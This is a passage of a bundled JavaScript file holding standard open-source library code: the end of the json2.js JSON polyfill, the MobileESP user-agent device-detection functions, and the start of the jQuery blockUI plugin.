  1035.             Number.prototype.toJSON  =
  1036.             Boolean.prototype.toJSON = function (key) {
  1037.                 return this.valueOf();
  1038.             };
  1039.     }
  1040.  
  1041.     var cx = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
  1042.         escapable = /[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
  1043.         gap,
  1044.         indent,
  1045.         meta = {    // table of character substitutions
  1046.             '\b': '\\b',
  1047.             '\t': '\\t',
  1048.             '\n': '\\n',
  1049.             '\f': '\\f',
  1050.             '\r': '\\r',
  1051.             '"' : '\\"',
  1052.             '\\': '\\\\'
  1053.         },
  1054.         rep;
  1055.  
  1056.  
  1057.     function quote(string) {
  1058.  
  1059. // If the string contains no control characters, no quote characters, and no
  1060. // backslash characters, then we can safely slap some quotes around it.
  1061. // Otherwise we must also replace the offending characters with safe escape
  1062. // sequences.
  1063.  
  1064.         escapable.lastIndex = 0;
  1065.         return escapable.test(string) ? '"' + string.replace(escapable, function (a) {
  1066.             var c = meta[a];
  1067.             return typeof c === 'string' ? c :
  1068.                 '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
  1069.         }) + '"' : '"' + string + '"';
  1070.     }
  1071.  
  1072.  
  1073.     function str(key, holder) {
  1074.  
  1075. // Produce a string from holder[key].
  1076.  
  1077.         var i,          // The loop counter.
  1078.             k,          // The member key.
  1079.             v,          // The member value.
  1080.             length,
  1081.             mind = gap,
  1082.             partial,
  1083.             value = holder[key];
  1084.  
  1085. // If the value has a toJSON method, call it to obtain a replacement value.
  1086.  
  1087.         if (value && typeof value === 'object' &&
  1088.                 typeof value.toJSON === 'function') {
  1089.             value = value.toJSON(key);
  1090.         }
  1091.  
  1092. // If we were called with a replacer function, then call the replacer to
  1093. // obtain a replacement value.
  1094.  
  1095.         if (typeof rep === 'function') {
  1096.             value = rep.call(holder, key, value);
  1097.         }
  1098.  
  1099. // What happens next depends on the value's type.
  1100.  
  1101.         switch (typeof value) {
  1102.         case 'string':
  1103.             return quote(value);
  1104.  
  1105.         case 'number':
  1106.  
  1107. // JSON numbers must be finite. Encode non-finite numbers as null.
  1108.  
  1109.             return isFinite(value) ? String(value) : 'null';
  1110.  
  1111.         case 'boolean':
  1112.         case 'null':
  1113.  
  1114. // If the value is a boolean or null, convert it to a string. Note:
  1115. // typeof null does not produce 'null'. The case is included here in
  1116. // the remote chance that this gets fixed someday.
  1117.  
  1118.             return String(value);
  1119.  
  1120. // If the type is 'object', we might be dealing with an object or an array or
  1121. // null.
  1122.  
  1123.         case 'object':
  1124.  
  1125. // Due to a specification blunder in ECMAScript, typeof null is 'object',
  1126. // so watch out for that case.
  1127.  
  1128.             if (!value) {
  1129.                 return 'null';
  1130.             }
  1131.  
  1132. // Make an array to hold the partial results of stringifying this object value.
  1133.  
  1134.             gap += indent;
  1135.             partial = [];
  1136.  
  1137. // Is the value an array?
  1138.  
  1139.             if (Object.prototype.toString.apply(value) === '[object Array]') {
  1140.  
  1141. // The value is an array. Stringify every element. Use null as a placeholder
  1142. // for non-JSON values.
  1143.  
  1144.                 length = value.length;
  1145.                 for (i = 0; i < length; i += 1) {
  1146.                     partial[i] = str(i, value) || 'null';
  1147.                 }
  1148.  
  1149. // Join all of the elements together, separated with commas, and wrap them in
  1150. // brackets.
  1151.  
  1152.                 v = partial.length === 0 ? '[]' : gap ?
  1153.                     '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' :
  1154.                     '[' + partial.join(',') + ']';
  1155.                 gap = mind;
  1156.                 return v;
  1157.             }
  1158.  
  1159. // If the replacer is an array, use it to select the members to be stringified.
  1160.  
  1161.             if (rep && typeof rep === 'object') {
  1162.                 length = rep.length;
  1163.                 for (i = 0; i < length; i += 1) {
  1164.                     if (typeof rep[i] === 'string') {
  1165.                         k = rep[i];
  1166.                         v = str(k, value);
  1167.                         if (v) {
  1168.                             partial.push(quote(k) + (gap ? ': ' : ':') + v);
  1169.                         }
  1170.                     }
  1171.                 }
  1172.             } else {
  1173.  
  1174. // Otherwise, iterate through all of the keys in the object.
  1175.  
  1176.                 for (k in value) {
  1177.                     if (Object.prototype.hasOwnProperty.call(value, k)) {
  1178.                         v = str(k, value);
  1179.                         if (v) {
  1180.                             partial.push(quote(k) + (gap ? ': ' : ':') + v);
  1181.                         }
  1182.                     }
  1183.                 }
  1184.             }
  1185.  
  1186. // Join all of the member texts together, separated with commas,
  1187. // and wrap them in braces.
  1188.  
  1189.             v = partial.length === 0 ? '{}' : gap ?
  1190.                 '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' :
  1191.                 '{' + partial.join(',') + '}';
  1192.             gap = mind;
  1193.             return v;
  1194.         }
  1195.     }
  1196.  
  1197. // If the JSON object does not yet have a stringify method, give it one.
  1198.  
  1199.     if (typeof JSON.stringify !== 'function') {
  1200.         JSON.stringify = function (value, replacer, space) {
  1201.  
  1202. // The stringify method takes a value and an optional replacer, and an optional
  1203. // space parameter, and returns a JSON text. The replacer can be a function
  1204. // that can replace values, or an array of strings that will select the keys.
  1205. // A default replacer method can be provided. Use of the space parameter can
  1206. // produce text that is more easily readable.
  1207.  
  1208.             var i;
  1209.             gap = '';
  1210.             indent = '';
  1211.  
  1212. // If the space parameter is a number, make an indent string containing that
  1213. // many spaces.
  1214.  
  1215.             if (typeof space === 'number') {
  1216.                 for (i = 0; i < space; i += 1) {
  1217.                     indent += ' ';
  1218.                 }
  1219.  
  1220. // If the space parameter is a string, it will be used as the indent string.
  1221.  
  1222.             } else if (typeof space === 'string') {
  1223.                 indent = space;
  1224.             }
  1225.  
  1226. // If there is a replacer, it must be a function or an array.
  1227. // Otherwise, throw an error.
  1228.  
  1229.             rep = replacer;
  1230.             if (replacer && typeof replacer !== 'function' &&
  1231.                     (typeof replacer !== 'object' ||
  1232.                     typeof replacer.length !== 'number')) {
  1233.                 throw new Error('JSON.stringify');
  1234.             }
  1235.  
  1236. // Make a fake root object containing our value under the key of ''.
  1237. // Return the result of stringifying the value.
  1238.  
  1239.             return str('', {'': value});
  1240.         };
  1241.     }
  1242.  
  1243.  
  1244. // If the JSON object does not yet have a parse method, give it one.
  1245.  
  1246.     if (typeof JSON.parse !== 'function') {
  1247.         JSON.parse = function (text, reviver) {
  1248.  
  1249. // The parse method takes a text and an optional reviver function, and returns
  1250. // a JavaScript value if the text is a valid JSON text.
  1251.  
  1252.             var j;
  1253.  
  1254.             function walk(holder, key) {
  1255.  
  1256. // The walk method is used to recursively walk the resulting structure so
  1257. // that modifications can be made.
  1258.  
  1259.                 var k, v, value = holder[key];
  1260.                 if (value && typeof value === 'object') {
  1261.                     for (k in value) {
  1262.                         if (Object.prototype.hasOwnProperty.call(value, k)) {
  1263.                             v = walk(value, k);
  1264.                             if (v !== undefined) {
  1265.                                 value[k] = v;
  1266.                             } else {
  1267.                                 delete value[k];
  1268.                             }
  1269.                         }
  1270.                     }
  1271.                 }
  1272.                 return reviver.call(holder, key, value);
  1273.             }
  1274.  
  1275.  
  1276. // Parsing happens in four stages. In the first stage, we replace certain
  1277. // Unicode characters with escape sequences. JavaScript handles many characters
  1278. // incorrectly, either silently deleting them, or treating them as line endings.
  1279.  
  1280.             text = String(text);
  1281.             cx.lastIndex = 0;
  1282.             if (cx.test(text)) {
  1283.                 text = text.replace(cx, function (a) {
  1284.                     return '\\u' +
  1285.                         ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
  1286.                 });
  1287.             }
  1288.  
  1289. // In the second stage, we run the text against regular expressions that look
  1290. // for non-JSON patterns. We are especially concerned with '()' and 'new'
  1291. // because they can cause invocation, and '=' because it can cause mutation.
  1292. // But just to be safe, we want to reject all unexpected forms.
  1293.  
  1294. // We split the second stage into 4 regexp operations in order to work around
  1295. // crippling inefficiencies in IE's and Safari's regexp engines. First we
  1296. // replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
  1297. // replace all simple value tokens with ']' characters. Third, we delete all
  1298. // open brackets that follow a colon or comma or that begin the text. Finally,
  1299. // we look to see that the remaining characters are only whitespace or ']' or
  1300. // ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
  1301.  
  1302.             if (/^[\],:{}\s]*$/
  1303.                     .test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
  1304.                         .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
  1305.                         .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
  1306.  
  1307. // In the third stage we use the eval function to compile the text into a
  1308. // JavaScript structure. The '{' operator is subject to a syntactic ambiguity
  1309. // in JavaScript: it can begin a block or an object literal. We wrap the text
  1310. // in parens to eliminate the ambiguity.
  1311.  
  1312.                 j = eval('(' + text + ')');
  1313.  
  1314. // In the optional fourth stage, we recursively walk the new structure, passing
  1315. // each name/value pair to a reviver function for possible transformation.
  1316.  
  1317.                 return typeof reviver === 'function' ?
  1318.                     walk({'': j}, '') : j;
  1319.             }
  1320.  
  1321. // If the text is not JSON parseable, then a SyntaxError is thrown.
  1322.  
  1323.             throw new SyntaxError('JSON.parse');
  1324.         };
  1325.     }
  1326. }());
  1327.  
  1328.  
  1329.  
  1330. /* *******************************************
  1331. // Copyright 2010-2012, Anthony Hand
  1332. // mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
  1333. // LICENSE INFORMATION
  1334. // Licensed under the Apache License, Version 2.0 (the "License");
  1335. // you may not use this file except in compliance with the License.
  1336. // You may obtain a copy of the License at
  1337. //        http://www.apache.org/licenses/LICENSE-2.0
  1338. // Unless required by applicable law or agreed to in writing,
  1339. // software distributed under the License is distributed on an
  1340. // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
  1341. // either express or implied. See the License for the specific
  1342. // language governing permissions and limitations under the License.
  1343. // *******************************************
  1344. */
  1345.  
  1346. var isIphone = false;
  1347. var isAndroidPhone = false;
  1348. var isTierTablet = false;
  1349. var isTierIphone = false;
  1350. var isTierRichCss = false;
  1351. var isTierGenericMobile = false;
  1352.  
  1353. var engineWebKit = "webkit";
  1354. var deviceIphone = "iphone";
  1355. var deviceIpod = "ipod";
  1356. var deviceIpad = "ipad";
  1357. var deviceMacPpc = "macintosh"; //Used for disambiguation
  1358.  
  1359. var deviceAndroid = "android";
  1360. var deviceGoogleTV = "googletv";
  1361. var deviceXoom = "xoom"; //Motorola Xoom
  1362. var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
  1363.  
  1364. var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
  1365.  
  1366. var deviceSymbian = "symbian";
  1367. var deviceS60 = "series60";
  1368. var deviceS70 = "series70";
  1369. var deviceS80 = "series80";
  1370. var deviceS90 = "series90";
  1371.  
  1372. var deviceWinPhone7 = "windows phone os 7";
  1373. var deviceWinMob = "windows ce";
  1374. var deviceWindows = "windows";
  1375. var deviceIeMob = "iemobile";
  1376. var devicePpc = "ppc"; //Stands for PocketPC
  1377. var enginePie = "wm5 pie";  //An old Windows Mobile
  1378.  
  1379. var deviceBB = "blackberry";
  1380. var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
  1381. var deviceBBStorm = "blackberry95"; //Storm 1 and 2
  1382. var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
  1383. var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
  1384. var deviceBBTour = "blackberry96"; //Tour
  1385. var deviceBBCurve = "blackberry89"; //Curve 2
  1386. var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
  1387. var deviceBBTorch = "blackberry 98"; //Torch
  1388. var deviceBBPlaybook = "playbook"; //PlayBook tablet
  1389.  
  1390. var devicePalm = "palm";
  1391. var deviceWebOS = "webos"; //For Palm's line of WebOS devices
  1392. var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
  1393.  
  1394. var engineBlazer = "blazer"; //Old Palm browser
  1395. var engineXiino = "xiino";
  1396.  
  1397. var deviceKindle = "kindle"; //Amazon Kindle, eInk one
  1398. var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
  1399.  
  1400. var vndwap = "vnd.wap";
  1401. var wml = "wml";
  1402.  
  1403. var deviceTablet = "tablet"; //Generic term for slate and tablet devices
  1404. var deviceBrew = "brew";
  1405. var deviceDanger = "danger";
  1406. var deviceHiptop = "hiptop";
  1407. var devicePlaystation = "playstation";
  1408. var deviceNintendoDs = "nitro";
  1409. var deviceNintendo = "nintendo";
  1410. var deviceWii = "wii";
  1411. var deviceXbox = "xbox";
  1412. var deviceArchos = "archos";
  1413.  
  1414. var engineOpera = "opera"; //Popular browser
  1415. var engineNetfront = "netfront"; //Common embedded OS browser
  1416. var engineUpBrowser = "up.browser"; //common on some phones
  1417. var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
  1418. var deviceMidp = "midp"; //a mobile Java technology
  1419. var uplink = "up.link";
  1420. var engineTelecaQ = 'teleca q'; //a modern feature phone browser
  1421.  
  1422. var devicePda = "pda";
  1423. var mini = "mini";  //Some mobile browsers put 'mini' in their names.
  1424. var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
  1425. var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
  1426.  
  1427. var maemo = "maemo";
  1428. var linux = "linux";
  1429. var qtembedded = "qt embedded"; //for Sony Mylo and others
  1430. var mylocom2 = "com2"; //for Sony Mylo also
  1431.  
  1432. var manuSonyEricsson = "sonyericsson";
  1433. var manuericsson = "ericsson";
  1434. var manuSamsung1 = "sec-sgh";
  1435. var manuSony = "sony";
  1436. var manuHtc = "htc"; //Popular Android and WinMo manufacturer
  1437.  
  1438. var svcDocomo = "docomo";
  1439. var svcKddi = "kddi";
  1440. var svcVodafone = "vodafone";
  1441.  
  1442. var disUpdate = "update"; //pda vs. update
  1443.  
  1444. var uagent = "";
  1445. if (navigator && navigator.userAgent)
  1446.     uagent = navigator.userAgent.toLowerCase();
  1447.  
  1448. function DetectIphone()
  1449. {
  1450.    if (uagent.search(deviceIphone) > -1)
  1451.    {
  1452.       if (DetectIpad() || DetectIpod())
  1453.          return false;
  1454.       else
  1455.          return true;
  1456.    }
  1457.    else
  1458.       return false;
  1459. }
  1460.  
  1461. function DetectIpod()
  1462. {
  1463.    if (uagent.search(deviceIpod) > -1)
  1464.       return true;
  1465.    else
  1466.       return false;
  1467. }
  1468.  
  1469. function DetectIpad()
  1470. {
  1471.    if (uagent.search(deviceIpad) > -1  && DetectWebkit())
  1472.       return true;
  1473.    else
  1474.       return false;
  1475. }
  1476.  
  1477. function DetectIphoneOrIpod()
  1478. {
  1479.    if (uagent.search(deviceIphone) > -1 ||
  1480.        uagent.search(deviceIpod) > -1)
  1481.        return true;
  1482.     else
  1483.        return false;
  1484. }
  1485.  
  1486. function DetectIos()
  1487. {
  1488.    if (DetectIphoneOrIpod() || DetectIpad())
  1489.       return true;
  1490.    else
  1491.       return false;
  1492. }
  1493.  
  1494. function DetectAndroid()
  1495. {
  1496.    if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
  1497.       return true;
  1498.    if (uagent.search(deviceHtcFlyer) > -1)
  1499.       return true;
  1500.    else
  1501.       return false;
  1502. }
  1503.  
  1504. function DetectAndroidPhone()
  1505. {
  1506.    if (DetectAndroid() && (uagent.search(mobile) > -1))
  1507.       return true;
  1508.    if (DetectOperaAndroidPhone())
  1509.       return true;
  1510.    if (uagent.search(deviceHtcFlyer) > -1)
  1511.       return true;
  1512.    else
  1513.       return false;
  1514. }
  1515.  
  1516. function DetectAndroidTablet()
  1517. {
  1518.    if (!DetectAndroid())
  1519.       return false;
  1520.  
  1521.    if (DetectOperaMobile())
  1522.       return false;
  1523.    if (uagent.search(deviceHtcFlyer) > -1)
  1524.       return false;
  1525.  
  1526.    if (uagent.search(mobile) > -1)
  1527.       return false;
  1528.    else
  1529.       return true;
  1530. }
  1531.  
  1532.  
  1533. function DetectAndroidWebKit()
  1534. {
  1535.    if (DetectAndroid() && DetectWebkit())
  1536.       return true;
  1537.    else
  1538.       return false;
  1539. }
  1540.  
  1541.  
  1542. function DetectGoogleTV()
  1543. {
  1544.    if (uagent.search(deviceGoogleTV) > -1)
  1545.       return true;
  1546.    else
  1547.       return false;
  1548. }
  1549.  
  1550.  
  1551. function DetectWebkit()
  1552. {
  1553.    if (uagent.search(engineWebKit) > -1)
  1554.       return true;
  1555.    else
  1556.       return false;
  1557. }
  1558.  
  1559. function DetectS60OssBrowser()
  1560. {
  1561.    if (DetectWebkit())
  1562.    {
  1563.      if ((uagent.search(deviceS60) > -1 ||
  1564.           uagent.search(deviceSymbian) > -1))
  1565.         return true;
  1566.      else
  1567.         return false;
  1568.    }
  1569.    else
  1570.       return false;
  1571. }
  1572.  
  1573. function DetectSymbianOS()
  1574. {
  1575.    if (uagent.search(deviceSymbian) > -1 ||
  1576.        uagent.search(deviceS60) > -1 ||
  1577.        uagent.search(deviceS70) > -1 ||
  1578.        uagent.search(deviceS80) > -1 ||
  1579.        uagent.search(deviceS90) > -1)
  1580.       return true;
  1581.    else
  1582.       return false;
  1583. }
  1584.  
  1585. function DetectWindowsPhone7()
  1586. {
  1587.    if (uagent.search(deviceWinPhone7) > -1)
  1588.       return true;
  1589.    else
  1590.       return false;
  1591. }
  1592.  
  1593. function DetectWindowsMobile()
  1594. {
  1595.    if (DetectWindowsPhone7())
  1596.       return false;
  1597.    if (uagent.search(deviceWinMob) > -1 ||
  1598.        uagent.search(deviceIeMob) > -1 ||
  1599.        uagent.search(enginePie) > -1)
  1600.       return true;
  1601.    if ((uagent.search(devicePpc) > -1) &&
  1602.        !(uagent.search(deviceMacPpc) > -1))
  1603.       return true;
  1604.    if (uagent.search(manuHtc) > -1 &&
  1605.        uagent.search(deviceWindows) > -1)
  1606.       return true;
  1607.    else
  1608.       return false;
  1609. }
  1610.  
  1611. function DetectBlackBerry()
  1612. {
  1613.    if (uagent.search(deviceBB) > -1)
  1614.       return true;
  1615.    if (uagent.search(vndRIM) > -1)
  1616.       return true;
  1617.    else
  1618.       return false;
  1619. }
  1620.  
  1621. function DetectBlackBerryTablet()
  1622. {
  1623.    if (uagent.search(deviceBBPlaybook) > -1)
  1624.       return true;
  1625.    else
  1626.       return false;
  1627. }
  1628.  
  1629. function DetectBlackBerryWebKit()
  1630. {
  1631.    if (DetectBlackBerry() &&
  1632.        uagent.search(engineWebKit) > -1)
  1633.       return true;
  1634.    else
  1635.       return false;
  1636. }
  1637.  
  1638. function DetectBlackBerryTouch()
  1639. {
  1640.    if (DetectBlackBerry() &&
  1641.         ((uagent.search(deviceBBStorm) > -1) ||
  1642.         (uagent.search(deviceBBTorch) > -1) ||
  1643.         (uagent.search(deviceBBBoldTouch) > -1) ||
  1644.         (uagent.search(deviceBBCurveTouch) > -1) ))
  1645.       return true;
  1646.    else
  1647.       return false;
  1648. }
  1649.  
  1650. function DetectBlackBerryHigh()
  1651. {
  1652.    if (DetectBlackBerryWebKit())
  1653.       return false;
  1654.    if (DetectBlackBerry())
  1655.    {
  1656.      if (DetectBlackBerryTouch() ||
  1657.         uagent.search(deviceBBBold) > -1 ||
  1658.         uagent.search(deviceBBTour) > -1 ||
  1659.         uagent.search(deviceBBCurve) > -1)
  1660.         return true;
  1661.      else
  1662.         return false;
  1663.    }
  1664.    else
  1665.       return false;
  1666. }
  1667.  
  1668. function DetectBlackBerryLow()
  1669. {
  1670.    if (DetectBlackBerry())
  1671.    {
  1672.      if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
  1673.         return false;
  1674.      else
  1675.         return true;
  1676.    }
  1677.    else
  1678.       return false;
  1679. }
  1680.  
  1681.  
  1682. function DetectPalmOS()
  1683. {
  1684.    if (uagent.search(devicePalm) > -1 ||
  1685.        uagent.search(engineBlazer) > -1 ||
  1686.        uagent.search(engineXiino) > -1)
  1687.    {
  1688.      if (DetectPalmWebOS())
  1689.         return false;
  1690.      else
  1691.         return true;
  1692.    }
  1693.    else
  1694.       return false;
  1695. }
  1696.  
  1697. function DetectPalmWebOS()
  1698. {
  1699.    if (uagent.search(deviceWebOS) > -1)
  1700.       return true;
  1701.    else
  1702.       return false;
  1703. }
  1704.  
  1705. function DetectWebOSTablet()
  1706. {
  1707.    if (uagent.search(deviceWebOShp) > -1 &&
  1708.        uagent.search(deviceTablet) > -1)
  1709.       return true;
  1710.    else
  1711.       return false;
  1712. }
  1713.  
  1714. function DetectGarminNuvifone()
  1715. {
  1716.    if (uagent.search(deviceNuvifone) > -1)
  1717.       return true;
  1718.    else
  1719.       return false;
  1720. }
  1721.  
  1722.  
  1723. function DetectSmartphone()
  1724. {
  1725.    if (DetectIphoneOrIpod()
  1726.       || DetectAndroidPhone()
  1727.       || DetectS60OssBrowser()
  1728.       || DetectSymbianOS()
  1729.       || DetectWindowsMobile()
  1730.       || DetectWindowsPhone7()
  1731.       || DetectBlackBerry()
  1732.       || DetectPalmWebOS()
  1733.       || DetectPalmOS()
  1734.       || DetectGarminNuvifone())
  1735.       return true;
  1736.  
  1737.    return false;
  1738. };
  1739.  
  1740. function DetectArchos()
  1741. {
  1742.    if (uagent.search(deviceArchos) > -1)
  1743.       return true;
  1744.    else
  1745.       return false;
  1746. }
  1747.  
  1748. function DetectBrewDevice()
  1749. {
  1750.    if (uagent.search(deviceBrew) > -1)
  1751.       return true;
  1752.    else
  1753.       return false;
  1754. }
  1755.  
  1756. function DetectDangerHiptop()
  1757. {
  1758.    if (uagent.search(deviceDanger) > -1 ||
  1759.        uagent.search(deviceHiptop) > -1)
  1760.       return true;
  1761.    else
  1762.       return false;
  1763. }
  1764.  
  1765. function DetectMaemoTablet()
  1766. {
  1767.    if (uagent.search(maemo) > -1)
  1768.       return true;
  1769.    if ((uagent.search(linux) > -1)
  1770.        && (uagent.search(deviceTablet) > -1)
  1771.        && !DetectWebOSTablet()
  1772.        && !DetectAndroid())
  1773.       return true;
  1774.    else
  1775.       return false;
  1776. }
  1777.  
  1778. function DetectSonyMylo()
  1779. {
  1780.    if (uagent.search(manuSony) > -1)
  1781.    {
  1782.      if (uagent.search(qtembedded) > -1 ||
  1783.          uagent.search(mylocom2) > -1)
  1784.         return true;
  1785.      else
  1786.         return false;
  1787.    }
  1788.    else
  1789.       return false;
  1790. }
  1791.  
  1792. function DetectOperaMobile()
  1793. {
  1794.    if (uagent.search(engineOpera) > -1)
  1795.    {
  1796.      if (uagent.search(mini) > -1 ||
  1797.          uagent.search(mobi) > -1)
  1798.         return true;
  1799.      else
  1800.         return false;
  1801.    }
  1802.    else
  1803.       return false;
  1804. }
  1805.  
  1806. function DetectOperaAndroidPhone()
  1807. {
  1808.    if ((uagent.search(engineOpera) > -1) &&
  1809.       (uagent.search(deviceAndroid) > -1) &&
  1810.       (uagent.search(mobi) > -1))
  1811.       return true;
  1812.    else
  1813.       return false;
  1814. }
  1815.  
  1816. function DetectOperaAndroidTablet()
  1817. {
  1818.    if ((uagent.search(engineOpera) > -1) &&
  1819.       (uagent.search(deviceAndroid) > -1) &&
  1820.       (uagent.search(deviceTablet) > -1))
  1821.       return true;
  1822.    else
  1823.       return false;
  1824. }
  1825.  
  1826. function DetectSonyPlaystation()
  1827. {
  1828.    if (uagent.search(devicePlaystation) > -1)
  1829.       return true;
  1830.    else
  1831.       return false;
  1832. };
  1833.  
  1834. function DetectNintendo()
  1835. {
  1836.    if (uagent.search(deviceNintendo) > -1   ||
  1837.     uagent.search(deviceWii) > -1 ||
  1838.     uagent.search(deviceNintendoDs) > -1)
  1839.       return true;
  1840.    else
  1841.       return false;
  1842. };
  1843.  
  1844. function DetectXbox()
  1845. {
  1846.    if (uagent.search(deviceXbox) > -1)
  1847.       return true;
  1848.    else
  1849.       return false;
  1850. };
  1851.  
  1852. function DetectGameConsole()
  1853. {
  1854.    if (DetectSonyPlaystation())
  1855.       return true;
  1856.    if (DetectNintendo())
  1857.       return true;
  1858.    if (DetectXbox())
  1859.       return true;
  1860.    else
  1861.       return false;
  1862. };
  1863.  
  1864. function DetectKindle()
  1865. {
  1866.    if (uagent.search(deviceKindle) > -1 &&
  1867.        !DetectAndroid())
  1868.       return true;
  1869.    else
  1870.       return false;
  1871. }
  1872.  
  1873. function DetectAmazonSilk()
  1874. {
  1875.    if (uagent.search(engineSilk) > -1)
  1876.       return true;
  1877.    else
  1878.       return false;
  1879. }
  1880.  
  1881. function DetectMobileQuick()
  1882. {
  1883.    if (DetectTierTablet())
  1884.       return false;
  1885.  
  1886.    if (DetectSmartphone())
  1887.       return true;
  1888.  
  1889.    if (uagent.search(deviceMidp) > -1 ||
  1890.     DetectBrewDevice())
  1891.       return true;
  1892.  
  1893.    if (DetectOperaMobile())
  1894.       return true;
  1895.  
  1896.    if (uagent.search(engineNetfront) > -1)
  1897.       return true;
  1898.    if (uagent.search(engineUpBrowser) > -1)
  1899.       return true;
  1900.    if (uagent.search(engineOpenWeb) > -1)
  1901.       return true;
  1902.  
  1903.    if (DetectDangerHiptop())
  1904.       return true;
  1905.  
  1906.    if (DetectMaemoTablet())
  1907.       return true;
  1908.    if (DetectArchos())
  1909.       return true;
  1910.  
  1911.    if ((uagent.search(devicePda) > -1) &&
  1912.         !(uagent.search(disUpdate) > -1))
  1913.       return true;
  1914.    if (uagent.search(mobile) > -1)
  1915.       return true;
  1916.  
  1917.    if (DetectKindle() ||
  1918.        DetectAmazonSilk())
  1919.       return true;
  1920.  
  1921.    return false;
  1922. };
  1923.  
  1924.  
  1925. function DetectMobileLong()
  1926. {
  1927.    if (DetectMobileQuick())
  1928.       return true;
  1929.    if (DetectGameConsole())
  1930.       return true;
  1931.    if (DetectSonyMylo())
  1932.       return true;
  1933.  
  1934.    if (uagent.search(manuSamsung1) > -1 ||
  1935.     uagent.search(manuSonyEricsson) > -1 ||
  1936.     uagent.search(manuericsson) > -1)
  1937.       return true;
  1938.  
  1939.    if (uagent.search(svcDocomo) > -1)
  1940.       return true;
  1941.    if (uagent.search(svcKddi) > -1)
  1942.       return true;
  1943.    if (uagent.search(svcVodafone) > -1)
  1944.       return true;
  1945.  
  1946.  
  1947.    return false;
  1948. };
  1949.  
  1950.  
  1951. function DetectTierTablet()
  1952. {
  1953.    if (DetectIpad()
  1954.         || DetectAndroidTablet()
  1955.         || DetectBlackBerryTablet()
  1956.         || DetectWebOSTablet())
  1957.       return true;
  1958.    else
  1959.       return false;
  1960. };
  1961.  
  1962. function DetectTierIphone()
  1963. {
  1964.    if (DetectIphoneOrIpod())
  1965.       return true;
  1966.    if (DetectAndroidPhone())
  1967.       return true;
  1968.    if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
  1969.       return true;
  1970.    if (DetectWindowsPhone7())
  1971.       return true;
  1972.    if (DetectPalmWebOS())
  1973.       return true;
  1974.    if (DetectGarminNuvifone())
  1975.       return true;
  1976.    else
  1977.       return false;
  1978. };
  1979.  
  1980. function DetectTierRichCss()
  1981. {
  1982.     if (DetectMobileQuick())
  1983.     {
  1984.        if (DetectTierIphone() || DetectKindle())
  1985.           return false;
  1986.  
  1987.        if (DetectWebkit())
  1988.           return true;
  1989.        if (DetectS60OssBrowser())
  1990.           return true;
  1991.  
  1992.        if (DetectBlackBerryHigh())
  1993.           return true;
  1994.  
  1995.        if (DetectWindowsMobile())
  1996.           return true;
  1997.  
  1998.        if (uagent.search(engineTelecaQ) > -1)
  1999.           return true;
  2000.  
  2001.        else
  2002.           return false;
  2003.     }
  2004.     else
  2005.       return false;
  2006. };
  2007.  
  2008. function DetectTierOtherPhones()
  2009. {
  2010.     if (DetectMobileLong())
  2011.     {
  2012.        if (DetectTierIphone() || DetectTierRichCss())
  2013.           return false;
  2014.  
  2015.        else
  2016.           return true;
  2017.     }
  2018.     else
  2019.       return false;
  2020. };
  2021.  
  2022.  
  2023. function InitDeviceScan()
  2024. {
  2025.     isIphone = DetectIphoneOrIpod();
  2026.     isAndroidPhone = DetectAndroidPhone();
  2027.     isTierIphone = DetectTierIphone();
  2028.     isTierTablet = DetectTierTablet();
  2029.  
  2030.     isTierRichCss = DetectTierRichCss();
  2031.     isTierGenericMobile = DetectTierOtherPhones();
  2032. };
  2033.  
  2034. try {
  2035.    InitDeviceScan();
  2036. }catch(e){}
  2037.  
  2038.  
  2039. /*!
  2040.  * jQuery blockUI plugin
  2041.  * Version 2.70.0-2014.11.23
  2042.  * Requires jQuery v1.7 or later
  2043.  *
  2044.  * Examples at: http://malsup.com/jquery/block/
  2045.  * Copyright (c) 2007-2013 M. Alsup
  2046.  * Dual licensed under the MIT and GPL licenses:
  2047.  * http://www.opensource.org/licenses/mit-license.php
  2048.  * http://www.gnu.org/licenses/gpl.html
  2049.  *
  2050.  * Thanks to Amir-Hossein Sobhi for some excellent contributions!
  2051.  */
  2052.  
  2053. ;(function() {
  2054. /*jshint eqeqeq:false curly:false latedef:false */
  2055. "use strict";
  2056.  
  2057.     function setup($) {
  2058.         $.fn._fadeIn = $.fn.fadeIn;
  2059.  
  2060.         var noOp = $.noop || function() {};
  2061.  
  2062.         // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
  2063.         // confusing userAgent strings on Vista)
  2064.         var msie = /MSIE/.test(navigator.userAgent);
  2065.         var ie6  = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
  2066.         var mode = document.documentMode || 0;
  2067.         var setExpr = $.isFunction( document.createElement('div').style.setExpression );
  2068.  
  2069.         // global $ methods for blocking/unblocking the entire page
